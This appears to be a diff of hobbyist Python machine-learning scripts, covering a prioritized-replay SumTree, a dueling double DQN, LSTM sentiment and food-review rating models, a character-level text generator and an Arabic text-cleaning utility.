+            self.tree[tree_index] += change
+
+        
+    """
+    Here we get the leaf_index, priority value of that leaf and experience associated with that index
+    """
+    def get_leaf(self, v):
+        """
+        Tree structure and array storage:
+        Tree index:
+             0         -> storing priority sum
+            / \
+          1     2
+         / \   / \
+        3   4 5   6    -> storing priority for experiences
+        Array type for storing:
+        [0,1,2,3,4,5,6]
+        """
+        parent_index = 0
+        
+        while True: # the while loop is faster than the method in the reference code
+            left_child_index = 2 * parent_index + 1
+            right_child_index = left_child_index + 1
+            
+            # If we reach bottom, end the search
+            if left_child_index >= len(self.tree):
+                leaf_index = parent_index
+                break
+            
+            else: # downward search, always search for a higher priority node
+                
+                if v <= self.tree[left_child_index]:
+                    parent_index = left_child_index
+                    
+                else:
+                    v -= self.tree[left_child_index]
+                    parent_index = right_child_index
+            
+        data_index = leaf_index - self.length + 1
+
+        return leaf_index, self.tree[leaf_index], self.data[data_index]
+    
+    property
+    def total_priority(self):
+        return self.tree[0] # Returns the root node
+
+
+
+class Memory:
+    # we use this to avoid some experiences to have 0 probability of getting picked
+    PER_e = 0.01
+    # we use this to make a tradeoff between taking only experiences with high priority
+    # and sampling randomly
+    PER_a = 0.6
+    # we use this for importance sampling, from this to 1 through the training
+    PER_b = 0.4
+
+    PER_b_increment_per_sample = 0.001
+
+    absolute_error_upper = 1.0
+
+    def __init__(self, capacity):
+        # the tree is composed of a sum tree that contains the priority scores and his leaf
+        # and also a data list
+        # we don't use deque here because it means that at each timestep our experiences change index by one
+        # we prefer to use a simple array to override when the memory is full
+        self.tree = SumTree(length=capacity)
+
+    def store(self, experience):
+        """
+        Store a new experience in our tree
+        Each new experience have a score of max_priority (it'll be then improved)
+        """
+        # find the max priority
+        max_priority = np.max(self.tree.tree[-self.tree.length:])
+
+        # if the max priority = 0 we cant put priority = 0 since this exp will never have a chance to be picked
+        # so we use a minimum priority
+        if max_priority == 0:
+            max_priority = self.absolute_error_upper
+        
+        # set the max p for new p
+        self.tree.add(max_priority, experience)
+
+    def sample(self, n):
+        """
+        - First, to sample a minimatch of k size, the range [0, priority_total] is / into k ranges.
+        - then a value is uniformly sampled from each range
+        - we search in the sumtree, the experience where priority score correspond to sample values are 
+        retrieved from.
+        - then, we calculate IS weights for each minibatch element 
+        """
+        # create a sample list that will contains the minibatch
+        memory = []
+
+        b_idx, b_is_weights = np.zeros((n, ), dtype=np.int32), np.zeros((n, 1), dtype=np.float32)
+
+        # calculate the priority segment
+        # here, as explained in the paper, we divide the range [0, ptotal] into n ranges
+        priority_segment = self.tree.total_priority / n
+
+        # increase b each time 
+        self.PER_b = np.min([1., self.PER_b + self.PER_b_increment_per_sample])
+
+        # calculating the max weight
+        p_min = np.min(self.tree.tree[-self.tree.length:]) / self.tree.total_priority
+        max_weight = (p_min * n) ** (-self.PER_b)
+
+        for i in range(n):
+            a, b = priority_segment * i, priority_segment * (i + 1)
+            value = np.random.uniform(a, b)
+
+            # experience that correspond to each value is retrieved
+            index, priority, data = self.tree.get_leaf(value)
+
+            # P(j)
+            sampling_probs = priority / self.tree.total_priority
+
+            # IS = (1/N * 1/P(i))**b /max wi == (N*P(i))**-b  /max wi
+            b_is_weights[i, 0] = np.power(n * sampling_probs, -self.PER_b)/ max_weight
+
+            b_idx[i]= index
+
+            experience = [data]
+
+            memory.append(experience)
+
+        return b_idx, memory, b_is_weights
+
+    
+
+    def batch_update(self, tree_idx, abs_errors):
+        """
+        Update the priorities on the tree
+        """
+        abs_errors += self.PER_e
+        clipped_errors = np.min([abs_errors, self.absolute_error_upper])
+        ps = np.power(clipped_errors, self.PER_a)
+
+        for ti, p in zip(tree_idx, ps):
+            self.tree.update(ti, p)
+
+
+
+
+import tensorflow as tf
+
+class DDDQNNet:
+    """ Dueling Double Deep Q Neural Network """
+    def __init__(self, state_size, action_size, learning_rate, name):
+        self.state_size = state_size
+        self.action_size = action_size
+        self.learning_rate = learning_rate
+        self.name = name
+
+        # we use tf.variable_scope to know which network we're using (DQN or the Target net)
+        # it'll be helpful when we will update our w- parameters (by copy the DQN parameters)
+        with tf.variable_scope(self.name):
+            # we create the placeholders
+            self.inputs_ = tf.placeholder(tf.float32, [None, *state_size], name="inputs")
+
+            self.is_weights_ = tf.placeholder(tf.float32, [None, 1], name="is_weights")
+
+            self.actions_ = tf.placeholder(tf.float32, [None, self.action_size], name="actions_")
+
+            # target Q
+            self.target_q = tf.placeholder(tf.float32, [None], name="target")
+
+            # neural net
+            self.dense1 = tf.layers.dense(inputs=self.inputs_,
+                                          units=32,
+                                          name="dense1",
+                                          kernel_initializer=tf.contrib.layers.xavier_initializer(),
+                                          activation="relu")
+            
+            self.dense2 = tf.layers.dense(inputs=self.dense1,
+                                          units=32,
+                                          name="dense2",
+                                          kernel_initializer=tf.contrib.layers.xavier_initializer(),
+                                          activation="relu")
+
+            self.dense3 = tf.layers.dense(inputs=self.dense2,
+                                          units=32,
+                                          name="dense3",
+                                          kernel_initializer=tf.contrib.layers.xavier_initializer())
+
+            # here we separate into two streams (dueling)
+            # this one is State-Function V(s)
+            self.value = tf.layers.dense(inputs=self.dense3,
+                                         units=1,
+                                         kernel_initializer=tf.contrib.layers.xavier_initializer(),
+                                         activation=None,
+                                         name="value"
+                                         )
+
+            # and this one is Value-Function A(s, a)
+            self.advantage = tf.layers.dense(inputs=self.dense3,
+                                             units=self.action_size,
+                                             activation=None,
+                                             kernel_initializer=tf.contrib.layers.xavier_initializer(),
+                                             name="advantage"
+                                             )
+
+            # aggregation
+            # Q(s, a) = V(s) + ( A(s, a) - 1/|A| * sum A(s, a') )
+
+            self.output = self.value + tf.subtract(self.advantage, tf.reduce_mean(self.advantage, axis=1, keepdims=True))
+
+            # Q is our predicted Q value
+            self.Q = tf.reduce_sum(tf.multiply(self.output, self.actions_))
+
+            self.absolute_errors = tf.abs(self.target_q - self.Q)
+
+            # w- * (target_q - q)**2
+            self.loss = tf.reduce_mean(self.is_weights_ * tf.squared_difference(self.target_q, self.Q))
+
+
+            self.optimizer = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss)
+
+
+
+
+import numpy
+
+class SumTree:
+    write = 0
+
+    def __init__(self, capacity):
+        self.capacity = capacity
+        self.tree = numpy.zeros( 2*capacity - 1 )
+        self.data = numpy.zeros( capacity, dtype=object )
+
+    def _propagate(self, idx, change):
+        parent = (idx - 1) // 2
+
+        self.tree[parent] += change
+
+        if parent != 0:
+            self._propagate(parent, change)
+
+    def _retrieve(self, idx, s):
+        left = 2 * idx + 1
+        right = left + 1
+
+        if left >= len(self.tree):
+            return idx
+
+        if s <= self.tree[left]:
+            return self._retrieve(left, s)
+        else:
+            return self._retrieve(right, s-self.tree[left])
+
+    def total(self):
+        return self.tree[0]
+
+    def add(self, p, data):
+        idx = self.write + self.capacity - 1
+
+        self.data[self.write] = data
+        self.update(idx, p)
+
+        self.write += 1
+        if self.write >= self.capacity:
+            self.write = 0
+
+    def update(self, idx, p):
+        change = p - self.tree[idx]
+
+        self.tree[idx] = p
+        self._propagate(idx, change)
+
+    def get(self, s):
+        idx = self._retrieve(0, s)
+        dataIdx = idx - self.capacity + 1
+
+        return (idx, self.tree[idx], self.data[dataIdx])
+
+
+
+
+import numpy as np
+
+from string import punctuation
+from collections import Counter
+from sklearn.model_selection import train_test_split
+
+
+with open("data/reviews.txt") as f:
+    reviews = f.read()
+
+with open("data/labels.txt") as f:
+    labels = f.read()
+
+# remove all punctuations
+all_text = ''.join([ c for c in reviews if c not in punctuation ])
+
+reviews = all_text.split("\n")
+reviews = [ review.strip() for review in reviews ]
+all_text = ' '.join(reviews)
+words = all_text.split()
+print("Total words:", len(words))
+
+# encoding the words
+
+# dictionary that maps vocab words to integers here
+vocab = sorted(set(words))
+print("Unique words:", len(vocab))
+# start is 1 because 0 is encoded for blank
+vocab2int = {word: i for i, word in enumerate(vocab, start=1)}
+
+# encoded reviews
+encoded_reviews = []
+for review in reviews:
+    encoded_reviews.append([vocab2int[word] for word in review.split()])
+
+encoded_reviews = np.array(encoded_reviews)
+# print("Number of reviews:", len(encoded_reviews))
+
+# encode the labels, 1 for 'positive' and 0 for 'negative'
+labels = labels.split("\n")
+labels = [1 if label is 'positive' else 0 for label in labels]
+# print("Number of labels:", len(labels))
+
+review_lens = [len(x) for x in encoded_reviews]
+counter_reviews_lens = Counter(review_lens)
+
+# remove any reviews with 0 length
+cleaned_encoded_reviews, cleaned_labels = [], []
+for review, label in zip(encoded_reviews, labels):
+    if len(review) != 0:
+        cleaned_encoded_reviews.append(review)
+        cleaned_labels.append(label)
+
+encoded_reviews = np.array(cleaned_encoded_reviews)
+labels = cleaned_labels
+# print("Number of reviews:", len(encoded_reviews))
+# print("Number of labels:", len(labels))
+
+sequence_length = 200
+features = np.zeros((len(encoded_reviews), sequence_length), dtype=int)
+for i, review in enumerate(encoded_reviews):
+    features[i, -len(review):] = review[:sequence_length]
+
+# print(features[:10, :100])
+
+# split data into train, validation and test
+split_frac = 0.9
+
+X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=1-split_frac)
+X_test, X_validation, y_test, y_validation = train_test_split(X_test, y_test, test_size=0.5)
+
+print(f"""Features shapes:
+Train set:      {X_train.shape}
+Validation set: {X_validation.shape}
+Test set:       {X_test.shape}""")
+print("Example:")
+print(X_train[0])
+print(y_train[0])
+
+# X_train, X_validation = features[:split_frac*len(features)], features[split_frac*len(features):]
+# y_train, y_validation = labels[:split]
+
+
+
+
+import tensorflow as tf
+from utils import get_batches
+from train import *
+
+
+
+
+import tensorflow as tf
+from preprocess import vocab2int, X_train, y_train, X_validation, y_validation, X_test, y_test
+from utils import get_batches
+
+import numpy as np
+
+def get_lstm_cell():
+    # basic LSTM cell
+    lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size)
+
+    # dropout to the cell
+    drop = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob)
+
+    return drop
+
+# RNN paramaters
+lstm_size = 256
+lstm_layers = 1
+batch_size = 256
+learning_rate = 0.001
+
+n_words = len(vocab2int) + 1 # Added 1 for the 0 that is for padding
+
+# create the graph object
+graph = tf.Graph()
+# add nodes to the graph
+with graph.as_default():
+    inputs = tf.placeholder(tf.int32, (None, None), "inputs")
+    labels = tf.placeholder(tf.int32, (None, None), "labels")
+    keep_prob = tf.placeholder(tf.float32, name="keep_prob")
+
+# number of units in the embedding layer
+embedding_size = 300
+
+with graph.as_default():
+    # embedding lookup matrix
+    embedding = tf.Variable(tf.random_uniform((n_words, embedding_size), -1, 1))
+    # pass to the LSTM cells
+    embed = tf.nn.embedding_lookup(embedding, inputs)
+
+    # stackup multiple LSTM layers
+    cell = tf.contrib.rnn.MultiRNNCell([get_lstm_cell() for i in range(lstm_layers)])
+
+    initial_state = cell.zero_state(batch_size, tf.float32)
+
+    # pass cell and input to cell, returns outputs for each time step
+    # and the final state of the hidden layer
+    # run the data through the rnn nodes
+    outputs, final_state = tf.nn.dynamic_rnn(cell, embed, initial_state=initial_state)
+
+    # grab the last output
+    # use sigmoid for binary classification
+    predictions = tf.contrib.layers.fully_connected(outputs[:, -1], 1, activation_fn=tf.sigmoid)
+
+    # calculate cost using MSE
+    cost = tf.losses.mean_squared_error(labels, predictions)
+    optimizer = tf.train.AdamOptimizer(learning_rate).minimize(cost)
+
+    # nodes to calculate the accuracy
+    correct_pred = tf.equal(tf.cast(tf.round(predictions), tf.int32), labels)
+    accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))
+
+    saver = tf.train.Saver()
+
+########### training ##########
+epochs = 10
+
+with tf.Session(graph=graph) as sess:
+    sess.run(tf.global_variables_initializer())
+    iteration = 1
+
+    for e in range(epochs):
+        state = sess.run(initial_state)
+
+        for i, (x, y) in enumerate(get_batches(X_train, y_train, batch_size=batch_size)):
+            y = np.array(y)
+            x = np.array(x)
+            feed = {inputs: x, labels: y[:, None],
+                    keep_prob: 0.5,
+                    initial_state: state}
+            loss, state, _ = sess.run([cost, final_state, optimizer], feed_dict=feed)
+
+            if iteration % 5 == 0:
+                print(f"[Epoch: {e}/{epochs}] Iteration: {iteration} Train loss: {loss:.3f}")
+            
+            if iteration % 25 == 0:
+                val_acc = []
+                val_state = sess.run(cell.zero_state(batch_size, tf.float32))
+                for x, y in get_batches(X_validation, y_validation, batch_size=batch_size):
+                    x, y = np.array(x), np.array(y)
+                    feed = {inputs: x, labels: y[:, None],
+                            keep_prob: 1, initial_state: val_state}
+                    batch_acc, val_state = sess.run([accuracy, final_state], feed_dict=feed)
+                    val_acc.append(batch_acc)
+                print(f"val_acc: {np.mean(val_acc):.3f}")
+
+            iteration += 1
+
+    saver.save(sess, "chechpoints/sentiment1.ckpt")
+
+test_acc = []
+with tf.Session(graph=graph) as sess:
+    saver = tf.train.Saver()
+    saver.restore(sess, tf.train.latest_checkpoint('checkpoints'))
+    test_state = sess.run(cell.zero_state(batch_size, tf.float32))
+    for ii, (x, y) in enumerate(get_batches(X_test, y_test, batch_size), 1):
+        feed = {inputs: x,
+                labels: y[:, None],
+                keep_prob: 1,
+                initial_state: test_state}
+        batch_acc, test_state = sess.run([accuracy, final_state], feed_dict=feed)
+        test_acc.append(batch_acc)
+    print("Test accuracy: {:.3f}".format(np.mean(test_acc)))
+
+
+
+
+def get_batches(x, y, batch_size=100):
+
+    n_batches = len(x) // batch_size
+    x, y = x[:n_batches*batch_size], y[:n_batches*batch_size]
+    for i in range(0, len(x), batch_size):
+        yield x[i: i+batch_size], y[i: i+batch_size]
+
+
+
+
+import numpy as np
+import pandas as pd
+import tqdm
+from string import punctuation
+
+punc = set(punctuation)
+
+df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv")
+
+
+X = np.zeros((len(df), 2), dtype=object)
+
+for i in tqdm.tqdm(range(len(df)), "Cleaning X"):
+    target = df['Text'].loc[i]
+
+    # X.append(''.join([ c.lower() for c in target if c not in punc ]))
+    X[i, 0] = ''.join([ c.lower() for c in target if c not in punc ])
+    X[i, 1] = df['Score'].loc[i]
+
+
+pd.DataFrame(X, columns=["Text", "Score"]).to_csv("data/Reviews.csv")
+
+
+
+
+### Model Architecture hyper parameters
+embedding_size = 64
+# sequence_length = 500
+sequence_length = 42
+LSTM_units = 128
+
+### Training parameters
+batch_size = 128
+epochs = 20
+
+### Preprocessing parameters
+# words that occur less than n times to be deleted from dataset
+N = 10
+
+# test size in ratio, train size is 1 - test_size
+test_size = 0.15
+
+
+
+
+from keras.models import Sequential
+from keras.layers import Embedding, LSTM, Dense, Activation, LeakyReLU, Dropout, TimeDistributed
+from keras.layers import SpatialDropout1D
+from config import LSTM_units
+
+
+def get_model_binary(vocab_size, sequence_length):
+    embedding_size = 64
+    model=Sequential()
+    model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length))
+    model.add(SpatialDropout1D(0.15))
+    model.add(LSTM(LSTM_units, recurrent_dropout=0.2))
+    model.add(Dropout(0.3))
+    model.add(Dense(1, activation='sigmoid'))
+    model.summary()
+    return model
+
+def get_model_5stars(vocab_size, sequence_length, embedding_size, verbose=0):
+    model=Sequential()
+    model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length))
+    model.add(SpatialDropout1D(0.15))
+    model.add(LSTM(LSTM_units, recurrent_dropout=0.2))
+    model.add(Dropout(0.3))
+    model.add(Dense(1, activation="linear"))
+    if verbose:
+        model.summary()
+    return model
+
+
+
+
+import numpy as np
+import pandas as pd
+import tqdm
+import pickle
+from collections import Counter
+from sklearn.model_selection import train_test_split
+
+from utils import clean_text, tokenize_words
+from config import N, test_size
+
+def load_review_data():
+    # df = pd.read_csv("data/Reviews.csv")
+    df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv")
+    # preview
+    print(df.head())
+    print(df.tail())
+    vocab = []
+    # X = np.zeros((len(df)*2, 2), dtype=object)
+    X = np.zeros((len(df), 2), dtype=object)
+    # for i in tqdm.tqdm(range(len(df)), "Cleaning X1"):
+    #     target = df['Text'].loc[i]
+    #     score = df['Score'].loc[i]
+    #     X[i, 0] = clean_text(target)
+    #     X[i, 1] = score
+    #     for word in X[i, 0].split():
+    #         vocab.append(word)
+
+    # k = i+1
+    k = 0
+
+    for i in tqdm.tqdm(range(len(df)), "Cleaning X2"):
+        target = df['Summary'].loc[i]
+        score = df['Score'].loc[i]
+        X[i+k, 0] = clean_text(target)
+        X[i+k, 1] = score
+        for word in X[i+k, 0].split():
+            vocab.append(word)
+
+    # vocab = set(vocab)
+    vocab = Counter(vocab)
+
+    # delete words that occur less than 10 times
+    vocab = { k:v for k, v in vocab.items() if v >= N }
+
+    # word to integer encoder dict
+    vocab2int = {word: i for i, word in enumerate(vocab, start=1)}
+
+    # pickle int2vocab for testing 
+    print("Pickling vocab2int...")
+    pickle.dump(vocab2int, open("data/vocab2int.pickle", "wb"))
+
+    # encoded reviews
+    for i in tqdm.tqdm(range(X.shape[0]), "Tokenizing words"):
+        X[i, 0] = tokenize_words(str(X[i, 0]), vocab2int)
+
+    lengths = [ len(row)  for row in X[:, 0] ]
+    print("min_length:", min(lengths))
+    print("max_length:", max(lengths))
+
+    X_train, X_test, y_train, y_test = train_test_split(X[:, 0], X[:, 1], test_size=test_size, shuffle=True, random_state=19)
+
+    return X_train, X_test, y_train, y_test, vocab
+
+
+
+
+import os
+# disable keras loggings
+import sys
+stderr = sys.stderr
+sys.stderr = open(os.devnull, 'w')
+import keras
+sys.stderr = stderr
+# to use CPU
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+
+                        inter_op_parallelism_threads=5, 
+
+                        allow_soft_placement=True,
+
+                        device_count = {'CPU' : 1,
+
+                                        'GPU' : 0}
+
+                       )
+
+from model import get_model_5stars
+from utils import clean_text, tokenize_words
+from config import embedding_size, sequence_length
+from keras.preprocessing.sequence import pad_sequences
+
+import pickle
+
+vocab2int = pickle.load(open("data/vocab2int.pickle", "rb"))
+model = get_model_5stars(len(vocab2int), sequence_length=sequence_length, embedding_size=embedding_size)
+
+model.load_weights("results/model_V20_0.38_0.80.h5")
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Food Review evaluator")
+    parser.add_argument("review", type=str, help="The review of the product in text")
+    args = parser.parse_args()
+
+    review = tokenize_words(clean_text(args.review), vocab2int)
+    x = pad_sequences([review], maxlen=sequence_length)
+
+    print(f"{model.predict(x)[0][0]:.2f}/5")
+
+
+
+
+# to use CPU
+# import os
+# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+# import tensorflow as tf
+
+# config = tf.ConfigProto(intra_op_parallelism_threads=5,
+#                         inter_op_parallelism_threads=5, 
+#                         allow_soft_placement=True,
+#                         device_count = {'CPU' : 1,
+#                                         'GPU' : 0}
+                    #    )
+
+import os
+import numpy as np
+import pandas as pd
+from keras.callbacks import ModelCheckpoint
+from keras.preprocessing import sequence
+
+from preprocess import load_review_data
+from model import get_model_5stars
+from config import sequence_length, embedding_size, batch_size, epochs
+
+X_train, X_test, y_train, y_test, vocab = load_review_data()
+
+vocab_size = len(vocab)
+
+print("Vocab size:", vocab_size)
+
+X_train = sequence.pad_sequences(X_train, maxlen=sequence_length)
+X_test = sequence.pad_sequences(X_test, maxlen=sequence_length)
+
+print("X_train.shape:", X_train.shape)
+print("X_test.shape:", X_test.shape)
+
+print("y_train.shape:", y_train.shape)
+print("y_test.shape:", y_test.shape)
+
+model = get_model_5stars(vocab_size, sequence_length=sequence_length, embedding_size=embedding_size)
+model.load_weights("results/model_V40_0.60_0.67.h5")
+model.compile(loss="mse", optimizer="adam", metrics=["accuracy"])
+
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+checkpointer = ModelCheckpoint("results/model_V40_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=True, verbose=1)
+
+model.fit(X_train, y_train, epochs=epochs,
+          validation_data=(X_test, y_test),
+          batch_size=batch_size,
+          callbacks=[checkpointer])
+
+
+
+
+import numpy as np
+from string import punctuation
+
+# make it a set to accelerate tests
+punc = set(punctuation)
+
+def clean_text(text):
+    return ''.join([ c.lower() for c in str(text) if c not in punc ])
+
+def tokenize_words(words, vocab2int):
+    words = words.split()
+    tokenized_words = np.zeros((len(words),))
+    for j in range(len(words)):
+        try:
+            tokenized_words[j] = vocab2int[words[j]]
+        except KeyError:
+            # didn't add any unk, just ignore
+            pass
+    return tokenized_words
+
+
+
+
+import numpy as np
+import pickle
+import tqdm
+from keras.models import Sequential
+from keras.layers import Dense, LSTM, Dropout, Activation
+from keras.callbacks import ModelCheckpoint
+
+seed = "import os"
+# output:
+# ded of and alice as it go on and the court
+# well you wont you wouldncopy thing
+# there was not a long to growing anxiously any only a low every cant
+# go on a litter which was proves of any only here and the things and the mort meding and the mort and alice was the things said to herself i cant remeran as if i can repeat eften to alice any of great offf its archive of and alice and a cancur as the mo
+
+char2int = pickle.load(open("python-char2int.pickle", "rb"))
+int2char = pickle.load(open("python-int2char.pickle", "rb"))
+
+sequence_length = 100
+n_unique_chars = len(char2int)
+
+# building the model
+model = Sequential([
+    LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True),
+    Dropout(0.3),
+    LSTM(256),
+    Dense(n_unique_chars, activation="softmax"),
+])
+
+model.load_weights("results/python-v2-2.48.h5")
+
+# generate 400 characters
+generated = ""
+for i in tqdm.tqdm(range(400), "Generating text"):
+    # make the input sequence
+    X = np.zeros((1, sequence_length, n_unique_chars))
+    for t, char in enumerate(seed):
+        X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1
+    # predict the next character
+    predicted = model.predict(X, verbose=0)[0]
+    # converting the vector to an integer
+    next_index = np.argmax(predicted)
+    # converting the integer to a character
+    next_char = int2char[next_index]
+    # add the character to results
+    generated += next_char
+    # shift seed and the predicted character
+    seed = seed[1:] + next_char
+
+print("Generated text:")
+print(generated)
+
+
+
+
+import numpy as np
+import os
+import pickle
+from keras.models import Sequential
+from keras.layers import Dense, LSTM, Dropout
+from keras.callbacks import ModelCheckpoint
+
+from utils import get_batches
+
+# import requests
+# content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text
+# open("data/wonderland.txt", "w", encoding="utf-8").write(content)
+
+from string import punctuation
+# read the data
+# text = open("data/wonderland.txt", encoding="utf-8").read()
+text = open("E:\\datasets\\text\\my_python_code.py").read()
+# remove caps
+text = text.lower()
+for c in "!":
+    text = text.replace(c, "")
+# text = text.lower().replace("\n\n", "\n").replace("", "").replace("", "").replace("", "").replace("", "")
+# text = text.translate(str.maketrans("", "", punctuation))
+# text = text[:100_000]
+n_chars = len(text)
+unique_chars = ''.join(sorted(set(text)))
+print("unique_chars:", unique_chars)
+n_unique_chars = len(unique_chars)
+print("Number of characters:", n_chars)
+print("Number of unique characters:", n_unique_chars)
+
+# dictionary that converts characters to integers
+char2int = {c: i for i, c in enumerate(unique_chars)}
+# dictionary that converts integers to characters
+int2char = {i: c for i, c in enumerate(unique_chars)}
+
+# save these dictionaries for later generation
+pickle.dump(char2int, open("python-char2int.pickle", "wb"))
+pickle.dump(int2char, open("python-int2char.pickle", "wb"))
+
+# hyper parameters
+sequence_length = 100
+step = 1
+batch_size = 128
+epochs = 1
+
+sentences = []
+y_train = []
+for i in range(0, len(text) - sequence_length, step):
+    sentences.append(text[i: i + sequence_length])
+    y_train.append(text[i+sequence_length])
+print("Number of sentences:", len(sentences))
+
+X = get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps=step)
+
+# for i, x in enumerate(X):
+#     if i == 1:
+#         break
+#     print(x[0].shape, x[1].shape)
+
+# # vectorization
+# X = np.zeros((len(sentences), sequence_length, n_unique_chars))
+# y = np.zeros((len(sentences), n_unique_chars))
+
+# for i, sentence in enumerate(sentences):
+#     for t, char in enumerate(sentence):
+#         X[i, t, char2int[char]] = 1
+#         y[i, char2int[y_train[i]]] = 1
+# X = np.array([char2int[c] for c in text])
+
+# print("X.shape:", X.shape)
+# goal of X is (n_samples, sequence_length, n_chars)
+# sentences = np.zeros(())
+
+
+# print("y.shape:", y.shape)
+# building the model
+# model = Sequential([
+#     LSTM(128, input_shape=(sequence_length, n_unique_chars)),
+#     Dense(n_unique_chars, activation="softmax"),
+# ])
+# building the model
+model = Sequential([
+    LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True),
+    Dropout(0.3),
+    LSTM(256),
+    Dense(n_unique_chars, activation="softmax"),
+])
+
+model.load_weights("results/python-v2-2.48.h5")
+
+model.summary()
+model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+checkpoint = ModelCheckpoint("results/python-v2-{loss:.2f}.h5", verbose=1)
+
+# model.fit(X, y, batch_size=batch_size, epochs=epochs, callbacks=[checkpoint])
+model.fit_generator(X, steps_per_epoch=len(sentences) // batch_size, epochs=epochs, callbacks=[checkpoint])
+
+
+
+
+import numpy as np
+
+def get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps):
+
+    chars_per_batch = batch_size * n_steps
+    n_batches = len(sentences) // chars_per_batch
+    while True:
+        for i in range(0, len(sentences), batch_size):
+
+            X = np.zeros((batch_size, sequence_length, n_unique_chars))
+            y = np.zeros((batch_size, n_unique_chars))
+
+            for i, sentence in enumerate(sentences[i: i+batch_size]):
+                for t, char in enumerate(sentence):
+                    X[i, t, char2int[char]] = 1
+                    y[i, char2int[y_train[i]]] = 1
+
+            yield X, y
+
+
+
+
+from pyarabic.araby import ALPHABETIC_ORDER
+
+with open("quran.txt", encoding="utf8") as f:
+    text = f.read()
+
+unique_chars = set(text)
+print("unique chars:", unique_chars)
+arabic_alpha = { c for c, order in ALPHABETIC_ORDER.items() }
+to_be_removed = unique_chars - arabic_alpha
+to_be_removed = to_be_removed - {'.', ' ', ''}
+print(to_be_removed)
+text = text.replace("", ".")
+for char in to_be_removed:
+    text = text.replace(char, "")
+text = text.replace("  ", " ")
+text = text.replace(" \n", "")
+text = text.replace("\n ", "")
+with open("quran_cleaned.txt", "w", encoding="utf8") as f:
+    print(text, file=f)
+
+
+
+
+from sklearn.model_selection import GridSearchCV
+from keras.wrappers.scikit_learn import KerasClassifier
+from utils import read_data, text_to_sequence, get_batches, get_data
+from models import rnn_model
+from keras.layers import LSTM
+
+import numpy as np
+
+text, int2char, char2int = read_data()
+
+batch_size = 256
+test_size = 0.2
+
+n_steps = 200
+n_chars = len(text)
+vocab_size = len(set(text))
+print("n_steps:", n_steps)
+print("n_chars:", n_chars)
+print("vocab_size:", vocab_size)
+encoded = np.array(text_to_sequence(text))
+n_train = int(n_chars * (1-test_size))
+X_train = encoded[:n_train]
+X_test = encoded[n_train:]
+
+X, Y = get_data(X_train, batch_size, n_steps, vocab_size=vocab_size+1)
+
+print(X.shape)
+print(Y.shape)
+
+# cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True
+model = KerasClassifier(build_fn=rnn_model, input_dim=n_steps, cell=LSTM, num_layers=2, dropout=0.2, output_dim=vocab_size+1,
+                        batch_normalization=True, bidirectional=True)
+
+
+
+params = {
+    "units": [100, 128, 200, 256, 300]
+}
+
+grid = GridSearchCV(estimator=model, param_grid=params)
+grid_result = grid.fit(X, Y)
+print(grid_result.best_estimator_)
+print(grid_result.best_params_)
+print(grid_result.best_score_)
+
+
+
+
+from keras.models import Sequential
+from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed, Bidirectional
+
+def rnn_model(input_dim, cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True):
+    model = Sequential()
+    for i in range(num_layers):
+        if i == 0:
+            # first time, specify input_shape
+            # if bidirectional:
+            #     model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True)))
+            # else:
+            model.add(cell(units, input_shape=(None, input_dim), return_sequences=True))
+            if batch_normalization:
+                model.add(BatchNormalization())
+            model.add(Dropout(dropout))
+            model.add(LeakyReLU(alpha=0.1))
+        else:
+            if i == num_layers - 1:
+                return_sequences = False
+            else:
+                return_sequences = True
+            if bidirectional:
+                model.add(Bidirectional(cell(units, return_sequences=return_sequences)))
+            else:
+                model.add(cell(units, return_sequences=return_sequences))
+            if batch_normalization:
+                model.add(BatchNormalization())
+            model.add(Dropout(dropout))
+            model.add(LeakyReLU(alpha=0.1))
+
+    model.add(Dense(output_dim, activation="softmax"))
+
+    model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"])
+    return model
+
+
+
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+from models import rnn_model
+from keras.layers import LSTM
+from utils import sequence_to_text, get_data
+
+import numpy as np
+import pickle
+
+char2int = pickle.load(open("results/char2int.pickle", "rb"))
+int2char = { v:k for k, v in char2int.items() }
+print(int2char)
+n_steps = 500
+
+def text_to_sequence(text):
+    global char2int
+    return [ char2int[c] for c in text ]
+
+def pick_top_n(preds, vocab_size, top_n=5):
+    p = np.squeeze(preds)
+    p[np.argsort(p)[:-top_n]] = 0
+    p = p / np.sum(p)
